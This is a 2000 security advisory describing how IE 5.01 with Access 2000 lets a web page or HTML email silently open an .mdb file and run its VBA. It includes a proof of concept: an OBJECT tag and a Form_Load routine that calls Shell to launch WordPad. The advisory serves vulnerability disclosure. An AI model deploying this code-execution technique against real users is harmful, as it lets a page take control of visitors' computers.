IE 5 and Access 2000 vulnerability

Georgi Guninski security advisory #14, 2000

IE 5 and Access 2000 vulnerability - executing programs

Systems affected: IE 5.01, Access 2000, Win98 - probably other versions, have not tested
Risk: High

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this program or any derivatives thereof.

Description:
Internet Explorer 5.01 and Access 2000 under Windows 98 (suppose other versions are also vulnerable) allow executing programs when viewing a web page or HTML email message - (in the latter case with IFRAME).
This allows taking full control over user's computer.

Details:

Access 2000 allows executing VBA code which has access to system resources and in particular executing files.
It is possible to silently open and execute .mdb file from IE with the code:
<OBJECT data="db3.mdb" id="d1"></OBJECT>
This allows executing VBA code from Access 2000, though it is not visible to the user.

The code is:
-----------access.html----------------------------
<OBJECT data="db3.mdb" id="d1"></OBJECT>
-----------in Form1 of db3.mdb---------------------
Private Sub Form_Load()
On Error GoTo Err_Command0_Click
    Dim stAppName As String
    stAppName = "C:\Program Files\Accessories\wordpad.exe"
    MsgBox ("Trying to start: " & stAppName)
    Call Shell(stAppName, 1)

Exit_Command0_Click:
Exit Sub

Err_Command0_Click:
MsgBox Err.Description
Resume Exit_Command0_Click
End Sub
---------------------------------------------------
Form1 is automatically opened at database startup.

Demonstration is available here